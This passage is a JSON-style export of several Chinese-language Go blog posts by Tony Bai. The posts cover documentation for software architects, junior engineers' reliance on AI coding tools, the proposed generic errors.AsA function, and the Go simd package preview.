href=\"https://tonybai.com/2025/08/25/go-is-still-not-good\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/25/go-is-still-not-good\"\u003ehttps://tonybai.com/2025/08/25/go-is-still-not-good\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在技术圈，平静的湖面下往往暗流涌动。对于Go语言社区而言，这股潜藏已久的暗流，被近期的一篇名为《\u003ca href=\"https://blog.habets.se/2025/07/Go-is-still-not-good.html\"\u003eGo is still not good\u003c/a\u003e》的博文彻底引爆。作者\u003ca href=\"https://blog.habets.se/\"\u003eThomas Habets\u003c/a\u003e，一位自称拥有超过十年Go使用经验的资深开发者，在他的这篇文章中系统性地列举了他眼中Go语言的“七宗罪”。这篇文章迅速\u003ca href=\"https://news.ycombinator.com/item?id=44982491\"\u003e登上Hacker News热榜，吸引了超过700条评论\u003c/a\u003e，形成了一场规模空前的社区大辩论。\u003c/p\u003e","title":"Go的“七宗罪”：一篇“Go依然不够好”如何引爆社区激辩？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/25/documents-the-architects-programming-language\n大家好，我是Tony Bai。\n从初级到高级，开发者的职业路径通常是清晰的：写出更好的代码。但当站在高级工程师的十字路口，是转向管理还是深入技术成为架构师？许多人选择了后者，却发现这个角色的定义模糊不清。最近，stackoverflow的一篇精彩的博客文章《文档：架构师的编程语言》提出了一个深刻的洞见：高级开发者将代码部署到代码构成的系统中，而架构师将想法部署到人构成的系统中。\n本文将和大家一起来学习一下文章中的观点和方法，并探讨为何高效的文档写作，是工程师实现这一关键角色转变的核心技能。\n架构师之路：一个定义模糊的岔路口 对于许多热爱技术的资深工程师来说，放弃编码转向管理岗是一个艰难的抉择。架构师（Architect）或首席工程师（Principal Engineer）的职业路径，似乎提供了一个两全其美的方案：既能继续深入技术，又能扩大个人影响力。\n然而，架构师的角色究竟与高级开发者有何不同？毕竟，他们看起来都在做相似的事情：写代码、审查 PR、讨论部署流水线。文章作者一针见血地指出了核心区别：\n高级开发者知道如何将代码部署到由代码构成的系统中。 架构师知道如何将想法部署到由人构成的系统中。 这并非一句空洞的比喻。它意味着架构师的核心工作，是超越单纯的代码实现，去解决那些真正阻碍项目前进的、更大的“人的问题”：沟通、说服和决策。\n文档：部署“想法”的“基础设施即代码” 在软件世界里，我们无法仅仅通过一次 git push 就启动一个跨越数月的大型项目、重写一个核心服务，或者为一个新产品选定技术栈。这些重大决策需要跨团队、跨职能的协作、输入和共识。\n那么，我们如何可靠地、可重复地将一个复杂的“技术想法”部署到由不同观点、不同背景的人组成的组织中呢？作者给出的答案是：文档。\nConfluence, Google Docs, Notion… 这些工具就是架构师的“部署平台”。一篇精心撰写的文档，是推动想法落地最有效的“传输协议”和“基础设施即代码”。它能：\n异步地将你的想法传递给所有利益相关者。 结构化地呈现问题背景、方案和权衡。 持久化地记录决策过程，供未来追溯。 最高效地利用关键人物（通常是最忙碌的人）的碎片化时间。 优秀技术文档的原则与技巧 许多程序员对写作感到畏惧，认为其主观且难以掌握。但文章指出，编写优秀的技术文档并不需要文学天赋，只需要掌握几个简单的技巧。\n技术文档宣言 作者提出了一个类似“敏捷宣言”的文档价值观：\n随时记下东西 胜过 担心如何组织它们 文档化的文化 胜过 走过场的行为 思考什么才重要 胜过 使用模板 某个时间点的文档 胜过 持续更新 核心思想是：先写下来，再求完美。 与其纠结于完美的格式，不如先把你知道的记录下来。\n两个魔法技巧：要点和标题 要点 (Bullet Points)：这是架构师最好的朋友。它强迫你以结构化、信息密集的方式思考，而不是追求华丽的辞藻。对于读者而言，要点易于快速扫描，能在最短时间内获取核心信息。 标题 (Headers)：使用有意义的标题来组织你的要点，就像在编程中将一个大函数重构成多个小函数一样。一个清晰的“上下文（Context）”标题，能迅速帮助读者（包括未来的你）回忆起项目的背景和约束。 文档的生命周期：一次性的“脚本”，而非“活服务” 成为架构师的一个重要的心态转变是：将大多数文档视为一次性的 Bash 脚本，而不是需要持续维护的 SaaS 应用。 这点与笔者近几年的实践不谋而合。\n一篇设计文档、一个项目提案，一旦完成了它的使命——即推动决策、同步信息——它的价值就会随着时间的推移而递减。强求所有文档都保持最新是不现实的。\n因此，作者提出了一个反直觉但极其有效的组织方法：按时间顺序组织文档\n传统做法（按主题）：为每个功能或项目创建一个文件夹。这会导致文件夹价值不均，新旧文档混杂，甚至相互矛盾，查找困难。 推荐做法（按时间）：按年份 -\u0026gt; 迭代（Sprint）来组织。这种方式保留了清晰的时间线，当你通过搜索找到一篇文档时，能立刻了解它是在什么背景下、与哪些其他事件同时发生的。至于按主题查找？“那是搜索框的工作。” 架构师必备的“文档武器库” 文章最后还提供了一个高价值的附录，列举了几种在工程组织中最具影响力的文档类型。对于架构师来说，这些就是你的核心工具集：\n架构概览 (The architecture overview)\n目的：帮助所有人快速理解系统的结构和设计。 时机：构建新系统或重构现有系统之前。 开发设计 (The dev design)\n目的：在你写下大量代码前，获取关于实现思路的反馈。 金句：“你写的文档越多，你需要写的代码就越少。” 一份好的设计文档能帮你避免因误解、错误假设和设计缺陷导致的返工。 项目提案 (The project proposal)\n目的：阐明一个项目的价值和成本，以获得资源分配。 技巧：让你的提案易于被技术和非技术决策者“点头同意”。 开发者预测 (The developer forecast)\n目的：当你预见到一个决策可能带来负面结果时，以中立的、建设性的方式提出风险和缓解方案。 技术选型清单 (The technology menu)\n目的：在面临技术选型（例如，为新的 Go 微服务选择 RPC 框架）时，通过对比，帮助团队达成共识。 结论 从一个出色的开发者成长为一名卓越的架构师，其核心转变在于影响力的半径。代码的影响力作用于机器，而想法的影响力作用于人。文档，正是放大和部署后者影响力的核心媒介。\n它不是编程的替代品，而是编程活动的“元编程”。一篇好的文档，可以在代码被编写出来之前，就解决掉项目中最大的瓶颈——那些关于人的沟通、协同和决策问题。对于所有追求技术卓越的工程师而言，将写作和文档管理提升到与编码同等重要的高度，是通往架构师之路的必经修炼。\n资料链接：https://stackoverflow.blog/2025/08/20/documents-the-architect-s-programming-language/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/25/documents-the-architects-programming-language/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/documents-the-architects-programming-language-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/25/documents-the-architects-programming-language\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/25/documents-the-architects-programming-language\"\u003ehttps://tonybai.com/2025/08/25/documents-the-architects-programming-language\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e从初级到高级，开发者的职业路径通常是清晰的：写出更好的代码。但当站在高级工程师的十字路口，是转向管理还是深入技术成为架构师？许多人选择了后者，却发现这个角色的定义模糊不清。最近，stackoverflow的一篇精彩的博客文章《\u003ca href=\"https://stackoverflow.blog/2025/08/20/documents-the-architect-s-programming-language/\"\u003e文档：架构师的编程语言\u003c/a\u003e》提出了一个深刻的洞见：\u003cstrong\u003e高级开发者将代码部署到代码构成的系统中，而架构师将想法部署到人构成的系统中。\u003c/strong\u003e\u003c/p\u003e","title":"掌握架构师的“编程语言”：将“想法”部署到“人”的艺术"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/24/junior-engineer-survival-guide-in-ai-age\n大家好，我是Tony Bai。\n这是一个对初级工程师而言，最好也最坏的时代。\n说它“最好”，是因为我们从未拥有过如此强大的工具。一名刚走出校门的毕业生，在入职的第一天，就能手握Claude Code、ChatGPT、Gemini Cli、Cursor、Copilot 等强大的 AI 编程助手。面对一个从未接触过的复杂任务——比如，为一个 Go 项目编写一个复杂的 gRPC 中间件——他可能只需要组织几次提示词，一段看起来完美、功能齐全、甚至带着单元测试的代码就诞生了。\n那种“我什么都行”的强大感和即时满足感，是十年前的我完全无法想象的。\n但说它“最坏”，也恰恰源于此。在这种令人沉醉的“魔幻”体验背后，一个直击灵魂的问题正在浮现：\n这种惊人的“效率”，是在加速你的成长，还是在为你铺设一条通往“能力空心化”的捷径？\n今天，我想和大家一起聊聊这个话题。这不仅是一份给初级工程师的生存指南，更是我们每一个身处 AI 浪潮中的技术人，都应该进行的深刻反思。\n“浅层技能” vs “内功心法”：AI 正在拉开的差距 要理解 AI 带来的潜在风险，我们首先需要区分两种截然不同的技能：“浅层技能”与“内功心法”。\n“浅层技能”，关注的是**“是什么”（”What”）**。在 AI 时代的初期，这主要体现为：\n擅长编写精妙的 Prompt。 能快速地从 AI 处获得“能用”的代码片段。 熟练地进行“复制-粘贴-修改”的“胶水”工作。 而如今，随着 Gemini CLI、Claude Code 这类编码智能体（Coding Agent）以及深度集成在 IDE 中的 AI 工具的兴起，这种“浅层技能”又演化出了一个更集成、也更具迷惑性的新形态。\n“复制-粘贴”的动作消失了。取而代之的，是 Agent 直接读取你的整个代码库，然后给你一个可以直接应用的变更集（diff）。在这里，“浅层技能”表现为：\n将高阶的、模糊的任务指令（‘重构这个文件’、‘修复这个bug’）下发给 Agent。 对 Agent 提出的变更集进行表面化的审查——检查代码风格是否一致、命名是否规范，但缺乏对底层逻辑、性能陷阱和安全隐患的深度洞察。 最终，熟练地点击‘应用’（Apply）或‘接受’（Accept）按钮，成为一个高效的“变更批准员”。 你看，无论是“复制代码”还是“批准变更”，其本质是相通的：你依然只停留在知道“是什么”，而没有深入到“为什么”。 你知道这段由 Agent 修改的代码能工作，但你很可能依然不清楚它背后的原理。这种新模式甚至更危险，因为它让你感觉更“专业”，更容易在不知不觉中放弃思考。\n而**“内功心法”，关注的则是“为什么”（The “Why”）和“怎么做”（The “How”）**。这包括：\n设计模式：为什么在这里 AI 选择用工厂模式，而不是单例模式？这两种模式的权衡是什么？ 数据结构与算法：AI 生成的这个函数，其核心数据结构是什么？它的时间复杂度和空间复杂度在各种情况（最好、最坏、平均）下分别是多少？ 架构权衡：这段看似独立的代码，被集成到系统中后，是会提升整个系统的内聚性，还是会引入一个危险的耦合点？ 调试能力：当这段“完美”的 AI 代码，在生产环境中因为一个罕见的并发条件而出现诡异的 Bug 时，你有能力深入其中，定位并解决问题吗？ “浅层技能”决定了你使用工具的熟练度，而“内功心法”则决定了你作为一名工程师的能力天花板。\n“舒适”的代价：正在累积的“认知负债” 问题在于，AI 工具太“舒适”了。它让我们能轻易地绕过那些艰难的、需要深度思考的“内功”修炼，直接获得“浅层”的结果。这种舒适感，正在让我们不知不觉地背上沉重的**“认知负债”（Cognitive Debt）**。\n这个概念精辟地描述了一种权衡：我们用即时的便利，换取了长期的批判性思维、记忆力、以及创造性自主权的丧失。 你正在向机器借用脑力，但这笔债，未来需要连本带利地偿还。\n最近的一项科学研究，用数据血淋淋地揭示了这一点。研究者将参与者分为三组写论文：纯脑力组、搜索引擎组和 LLM 组。结果令人震惊：\n在 LLM 组中，83% 的参与者在写完论文后，几乎无法复述出自己文章中的任何观点(见下图)。而在另外两组，几乎每个人都能做到。\n这证明了，当我们把思考过程完全外包给 AI 时，知识并没有真正“流经”我们的大脑，我们只是成为了一个信息的“搬运工”。\n这背后，是纳西姆·塔勒布在其著作《反脆弱》中提到的深刻哲理：小的压力和不适，会让我们变得更强大。\n肌肉，需要通过举起沉重的杠铃，在撕裂和修复中才能生长。 我们的大脑，同样需要通过“精神举重”——也就是主动思考、艰难探索、反复试错的“摩擦力”——才能成长。 而初级工程师的职业生涯前三年，正是进行这种“精神举重”、构建个人能力护城河最宝贵的黄金时期。如果在这个阶段，你沉迷于 AI 带来的舒适感，持续累积“认知负债”，无异于在一个本应最大化“肌肉增长”的年纪，选择了全程坐轮椅。\n其长期危害是显而易见的：\n成长停滞：解决问题的“认知肌肉”因缺乏锻炼而萎缩。 危险的“信心差”：你产生了一种“我能搞定任何代码”的虚假自信，但这与“我能维护和解释任何我写的代码”的真实能力之间，存在着巨大的鸿沟。这在团队协作和处理线上故障时，是极其危险的。 沦为“API 粘合工”：长期以往，你可能会彻底丧失从零开始构建系统的能力，沦为只会将 AI 生成的黑箱代码块“粘合”在一起的低阶操作员，失去了真正的工程创造力和不可替代性。 “破局”指南：如何成为 AI 的主人，而非奴隶？ 那么，我们该如何打破这个困局？关键在于心态的转变和方法的调整。你需要将 AI 从一个无所不知的**“神谕”（Oracle），转变为一个需要你引导和挑战的“陪练”**。\n这里有四条具体的实战法则：\n法则一：“先思后问”法则\n在向 AI 提问前，强迫自己先进行独立思考。用纸笔、伪代码或注释，勾勒出你自己的解决方案轮廓。哪怕这个方案很粗糙，甚至可能是错的，这个思考的过程本身就是一次宝贵的“精神举重”。\n然后，你可以这样做：\n“不要让 AI 直接为你解题；相反，提供你自己的解法，让它解释你可能错在哪里，或者有哪些可以改进的地方。”\n通过这种方式，你把 AI 从一个“答案机”变为一个能启发你、挑战你的“批判性思维伙伴”。你始终是思考的主导者。\n法则二：“刨根问底”法则\n永远不要满足于 AI 给出的第一份“能用”的代码。对它生成的每一段关键代码，都要像对待一位资深同事的 Code Review 意见一样，进行苏格拉底式的反复追问：\n“你为什么选择这种数据结构？它和另一种方案相比，优劣势分别是什么？” “这段代码的时间复杂度和空间复杂度是多少？在什么情况下会达到最坏情况？” “请为这段代码生成五个可能会导致它出错的边缘案例（corner cases）。” “这段代码遵循了哪些设计模式？请为我解释这个模式的核心思想。” 通过这种刨根问底，你把 AI 从一个“代码生成器”，变成了一个免费的、24小时在线的、极具耐心的私人导师。\n法则三：“刻意练习”法则\n定期进行**“无 AI 编程”**的刻意练习。这就像健身房里的“力量训练日”。给自己设定一些小项目、算法题，或者工作中的某个非紧急模块，规定自己在不使用任何 AI 代码生成辅助的情况下，从零开始完整地实现它。\n这个过程可能会让你感到“不适”，速度会很慢，甚至会碰壁。但请记住塔勒布的教诲：不适感不是麻烦，而是训练场。 这正是你构建底层能力、“流血流汗”的真实成长过程。\n法则四：“源码为师”法则\n当 AI 生成了一段使用了你从未见过的库函数或框架特性的代码时，不要只满足于知道“怎么用”。花15分钟时间，去看看那个函数或特性的源码实现。\n这是理解其背后原理、设计哲学和实现细节的最直接方式。AI 可以为你指出一条通往宝藏的道路，但路边的风景和地下的矿藏，需要你自己去探索和挖掘。\n你的不可替代性，藏在 AI 的“盲区”里 遵循以上法则，你会发现，AI 不仅不会成为你成长的障碍，反而会成为你成长的强大加速器。更重要的是，它会帮助你将精力聚焦在那些 AI 永远无法取代的、真正体现工程师价值的领域——也就是 AI 的“盲区”。\n深度理解业务：AI 不懂你的用户，不懂你的商业模式。将技术与业务场景深度结合，提供有洞察力的解决方案，这是你的核心价值。 系统性思考：AI 能生成一个函数，但它尚无法设计一个健壮、可扩展、可维护的大规模生产级系统。培养自己的架构思维和全局视野，是你拉开差距的关键。 人际协作与沟通：理解团队成员的需求，清晰地阐述技术方案的利弊，组织有效的讨论，推动项目落地。这些“软技能”，在 AI 时代变得比以往任何时候都更加重要。 小结：别在黄金时代，选择一条最容易的路 职业生涯的初期，是一个人构建个人“能力护城河”最关键的时期。在这个阶段，最宝贵的不是表面的“效率”，而是**“成长深度”**。\nAI 时代，给了我们前所未有的强大工具，但工具的价值，永远取决于使用者的智慧。\n所以，请警惕那些让你过于舒适的捷径。不要在最需要“扎马步”的年纪，沉迷于“轻功”带来的快感。 真正的成长，永远伴随着求索的痛苦和突破的喜悦。让我们去拥抱那些有益的“摩擦力”，掌握那些 AI 无法生成的“内功心法”。\n选择那条更难、但更有价值的路，你才能在未来的技术浪潮中，真正地立于不败之地。\n参考资料 -《Your Brain on ChatGPT: Accumulation of Cognitive Debt when Using an AI Assistant for Essay Writing Task》- https://arxiv.org/pdf/2506.08872v1\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/24/junior-engineer-survival-guide-in-ai-age/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/junior-engineer-survival-guide-in-ai-age-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/24/junior-engineer-survival-guide-in-ai-age\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/24/junior-engineer-survival-guide-in-ai-age\"\u003ehttps://tonybai.com/2025/08/24/junior-engineer-survival-guide-in-ai-age\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e这是一个对初级工程师而言，最好也最坏的时代。\u003c/p\u003e\n\u003cp\u003e说它“最好”，是因为我们从未拥有过如此强大的工具。一名刚走出校门的毕业生，在入职的第一天，就能手握Claude Code、ChatGPT、\u003ca href=\"https://tonybai.com/2025/07/09/gemini-cli-starting-guide\"\u003eGemini Cli\u003c/a\u003e、Cursor、Copilot 等强大的 AI 编程助手。面对一个从未接触过的复杂任务——比如，为一个 Go 项目编写一个复杂的 gRPC 中间件——他可能只需要组织几次提示词，一段看起来完美、功能齐全、甚至带着单元测试的代码就诞生了。\u003c/p\u003e","title":"AI 时代的初级工程师生存指南：别让“万能”的AI工具，毁掉你最宝贵的成长期"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/23/proposal-errors-asa\n大家好，我是Tony Bai。\n自 Go 1.13 引入 errors.Is 和 errors.As 以来，Go 语言的错误处理进入了一个结构化、可追溯的新时代。然而，errors.As 的使用方式，对于追求代码简洁与优雅的 Gopher 而言，始终存在一丝“不和谐”：开发者必须预先声明一个目标错误类型的变量，然后将其指针传入函数。\n随着 Go 1.18 泛型的正式落地，一个酝酿已久的问题浮出水面：我们能否利用类型参数，彻底重塑这一核心错误检查机制，终结那些恼人的样板代码？GitHub 上的 Issue #51945 正是这场变革的中心舞台。它不仅是一个新函数AsA的提案，更深刻地揭示了 Go 社区是如何在 API 设计、性能、向后兼容性与语言哲学之间反复权衡，以决定 errors.As 的未来。那么，AsA 会是 errors.As 的下一站吗？在这篇文章中，我就和大家一起来看一下Go社区和Go团队针对这一提案的讨论和决策过程。\n现状之痛：errors.As 的人体工程学难题 要理解为何需要“重塑”，我们必须先审视 errors.As 带来的便利与痛点，我们先来看一下现状：\n// Go 1.13 至今的标准模式 err := someOperation() if err != nil { var myErr *MyCustomError if errors.As(err, \u0026amp;myErr) { // myErr 在这里可用，但它的声明却在 if 语句之外 // ...处理 myErr... } var otherErr *OtherError if errors.As(err, \u0026amp;otherErr) { // ...处理 otherErr... } // ... } 这种模式存在几个显而易见的痛点：\n样板代码： var myErr *MyCustomError 这一行是纯粹的样板代码。 变量作用域泄露： myErr 的作用域超出了它真正被需要的 if 块，这在 Go 中通常被认为是不够优雅的设计。 C 语言风格的“输出参数”： 通过指针参数来“返回”一个值，是 C 语言的常见模式，但在 Go 中，我们更习惯于通过多返回值来处理。 正是这些“不和谐”之处，催生了用泛型来重塑 errors.As 的强烈动机。\n泛型之力：三大核心优势重塑错误检查 提案的核心，是引入一个利用类型参数的新函数，社区讨论最终倾向于命名为 AsA。这个新函数将彻底改变错误检查的写法，使其更符合 Go 开发者熟悉的“逗号, ok”模式：\n// 提案中的理想模式 err := someOperation() if err != nil { if myErr, ok := errors.AsA[*MyCustomError](err); ok { // myErr 的作用域被完美限制在此 if 块内 // ...处理 myErr... } else if otherErr, ok := errors.AsA[*OtherError](err); ok { // ...处理 otherErr... } // ... } 这场“重塑”的背后，是泛型带来的三大核心优势：\n优势一：人体工程学与代码可读性 这是最直观的优点。新的 if shortVarDecl, ok := … 形式是 Go 语言中最深入人心的模式之一，用于类型断言、map 查询等众多场景。将错误检查统一到这个模式下，降低了开发者的心智负担。\n尽管有社区成员指出现有的 errors.As 也可以通过 if pe := new(os.PathError); errors.As(err, \u0026amp;pe) 这种巧妙的写法实现单行和作用域限制，但其他成员普遍认为这种写法“非常微妙”、“难以阅读”，且容易误用。这恰恰反衬出泛型版本在清晰度和直观性上的巨大优势。\n优势二：编译时类型安全 这是泛型版本一个被低估但至关重要的优势。errors.As 的第二个参数类型是 any（interface{}），这意味着编译器无法在编译时对其进行严格的类型检查。任何不满足“指向 error 实现类型的非空指针”这一约束的用法，都只能在运行时 panic 或被 go vet 捕获。\n而泛型版本则将这个检查提前到了编译时。类型参数 T 被约束为 error，任何不满足此约束的类型参数都会导致编译失败。这无疑是向 Go 的核心价值——静态类型安全——迈出的重要一步。\n优势三：显著的性能提升 这可能是最令人意外，也是最有说服力的论据。errors.As 的实现严重依赖反射，以便在运行时处理 any 类型的 target。反射在 Go 中是出了名的慢。\n有社区成员提供了他的开源库 errutil 中的纯泛型实现 Find，并给出了详尽的 benchmark 数据。其核心思想是，在泛型函数内部，可以直接使用类型断言 (err.(E))，完全绕开反射。并且，其提供的 benchmark 结果令人震惊：在绝大多数场景下，纯泛型实现的性能比 errors.As 快 50% – 70%。此外，由于避免了为 target 变量在堆上分配内存（new(E)），纯泛型版本在很多情况下可以做到零堆分配。\n前路挑战：从 switch 困境到 API 哲学的权衡 尽管优势明显，但“重塑”之路并非一帆风顺。Go 核心团队和社区的审慎讨论，揭示了在标准库中引入新 API 的复杂性。\n考量一：历史的包袱与设计的初心 一些Go核心团队成员提及，在 errors.As 最初的设计阶段，rsc (Russ Cox) 曾认为，var myErr *MyError 的显式声明，虽然冗长，但明确地向读者展示了代码正在寻找的错误类型，具有清晰性的优点。这体现了 Go 早期设计中对“明确优于隐晦”的极致追求。\n考量二：switch 语句的困境 这是泛型版本最主要的“人体工程学”短板。errors.As 可以非常优雅地与 switch 语句结合，形成强大的多错误类型处理模式：\nvar myErr *MyCustomError var otherErr *OtherError switch { case errors.As(err, \u0026amp;myErr): // ... case errors.As(err, \u0026amp;otherErr): // ... } 然而，返回 (T, bool) 的泛型函数无法直接用在 case 语句中，这破坏了一种现有的、被广泛接受的优雅模式。\n考量三：API 的膨胀与命名难题 在标准库中增加一个与现有函数功能高度重叠的新 API，是一项需要慎之又慎的决定。它会带来“API 膨胀”的问题，并引发关于命名的激烈讨论。从最初的 IsA，到社区热议的 AsA、AsOf、Find、Has，每一个名字都有其合理性与不足。\n小结：尘埃落定：AsA，迈向未来的下一站？ 经过长达数年的讨论、辩论与社区探索，在 neild 的总结陈词下，提案目前已经收敛并被 Go 团队选中，进入了 “Active” 审查阶段。这标志着 Go 官方已经基本认可了引入泛型 errors.As 的价值。\n最终的提案形态如下：\npackage errors // AsA finds the first error in err\u0026#39;s tree that has the type E, and if one is found, returns that error value and true. // Otherwise it returns the zero value of E and false. func AsA[E error](err error) (_ E, ok bool) 这个版本的暂时胜出，也是多方权衡的结果：\n双返回值形式 (_ E, ok bool) 在人体工程学和性能上全面优于指针参数形式。 AsA 的命名最大程度上保留了与 As 的关联性。 尽管存在 switch 语句的短板，但其在 if 语句中的巨大优势、编译时类型安全和显著的性能提升，最终压倒了所有顾虑。 这场关于 errors.As 泛型化的深度辩论，生动地展示了 Go 语言的演进过程：它不是一蹴而就的激进变革，而是在尊重历史、充分听取社区声音、深入权衡利弊后，做出的稳健而有力的前行。而泛型的引入，也正在为 Go 社区提供一个重新审视和打磨既有 API 的宝贵契机。让我们有理由相信 Go 的错误检查也将因此被成功“重塑”，变得更加安全、高效和优雅。\n资料链接：https://github.com/golang/go/issues/51945\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/23/proposal-errors-asa/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/proposal-errors-asa-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/23/proposal-errors-asa\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/23/proposal-errors-asa\"\u003ehttps://tonybai.com/2025/08/23/proposal-errors-asa\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e自 \u003ca href=\"https://tonybai.com/2019/10/18/errors-handling-in-go-1-13/\"\u003eGo 1.13 引入 errors.Is 和 errors.As 以来\u003c/a\u003e，Go 语言的错误处理进入了一个结构化、可追溯的新时代。然而，errors.As 的使用方式，对于追求代码简洁与优雅的 Gopher 而言，始终存在一丝“不和谐”：开发者必须预先声明一个目标错误类型的变量，然后将其指针传入函数。\u003c/p\u003e","title":"泛型重塑 Go 错误检查：errors.As 的下一站 AsA？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/22/go-simd-package-preview\n大家好，我是Tony Bai。\n多年以来，对于追求极致性能的 Go 开发者而言，心中始终有一个“痛点”：当算法需要压榨 CPU 的最后一点性能时，唯一的选择便是“下降”到手写汇编，这让利用 SIMD (Single Instruction, Multiple Data) 指令集提升程序性能这条路显得尤为陡峭难行。\n今年6月份，漫长的等待终于迎来了曙光。Go Runtime 负责人 Cherry Mui提出了在Go标准库中增加simd包的官方提案#73787。这才过去两个月左右时间，Cherry Mui就给我们带来惊喜！其主导的SIMD 官方提案迈出了决定性的一步：第一个可供尝鲜的预览版实现已登陆 dev.simd 分支！ 这不再是纸上的设计，而是开发者可以立刻下载、编译、运行的真实代码。\n这不仅是一个新包的诞生，更预示着 Go 语言在高性能计算领域，即将迈入一个全新的、更加现代化的纪元。本文将带着大家一起深入这个万众期待的 simd 包预览版，从其实现原理到 API 设计，再到上手实战，全方位初探 Go 原生 SIMD 将如何帮助我们解锁 CPU 的终极性能。\n什么是 SIMD？为何它如此重要？ SIMD，即“单指令多数据流”，是一种并行计算的形式。它的核心思想，是用一条指令同时对多个数据执行相同的操作。\n想象一下你有一叠发票需要盖章。传统方式（非 SIMD）是你拿起一枚印章，在一张张发票上依次盖章。而 SIMD 则像是你拥有了一枚巨大的、排列整齐的多头印章，一次下压，就能同时给多张发票盖好章。\n在现代 CPU 中，这种能力通过特殊的宽位寄存器（如 128-bit, 256-bit, 512-bit）和专用指令集（如 x86 的 SSE, AVX, AVX-512）实现。对于科学计算、图形图像处理、密码学、机器学习等数据密集型任务，使用 SIMD 能够带来数倍甚至数十倍的性能提升。\n注：之前写过的一篇名为《Go语言中的SIMD加速：以矩阵加法为例》的文章，对SIMD指令以及在没有simd包之前如何使用SIMD指令做了比较详尽的介绍(伴有示例)，大家可以先停下来去回顾一下。\n从提案到预览：Go 的 SIMD 设计哲学 在深入代码之前，我们有必要回顾一下指导这次实现的设计哲学。提案中提出了一个优雅的**“两层抽象”**策略：\n底层：架构特定的 intrinsics 包 这一层提供与硬件指令紧密对应的底层 API，类似于 syscall 包，为“高级用户”准备。 2. 高层：可移植的 vector API\n未来将在底层包之上构建一个可移植的高层 API，类似于 os 包，服务于绝大多数用户。\n当前在 dev.simd 分支中发布的，正是这个宏大计划的第一步——底层的、架构特定的 intrinsics 包，它以 GOEXPERIMENT=simd 的形式供社区进行早期实验和反馈。\n深入 dev.simd分支：预览版实现剖析 通过对 dev.simd分支中的simd源码的大致分析，我们可以清晰地看到 Go 团队是如何将设计哲学转化为工程现实的。\n1. API 由 YAML 定义，代码自动生成 simd 包最令人印象深刻的特点之一，是其 API 并非完全手写。在 _gen/simdgen 目录下，一个复杂的代码生成系统构成了整个包的基石。\n其工作流程大致如下：\n数据源： 以 Intel 的 XED (X86 Encoder Decoder) 数据为基础，解析出 AVX、AVX2、AVX-512 等指令集的详细信息。\nYAML 抽象： 将指令抽象为 go.yaml、categories.yaml 等文件中更具语义的、结构化的定义。\n代码生成： gen_*.go 中的工具读取这些 YAML 文件，自动生成 types_amd64.go（定义向量类型）、ops_amd64.go（定义操作方法）、simdintrinsics.go（编译器内在函数映射 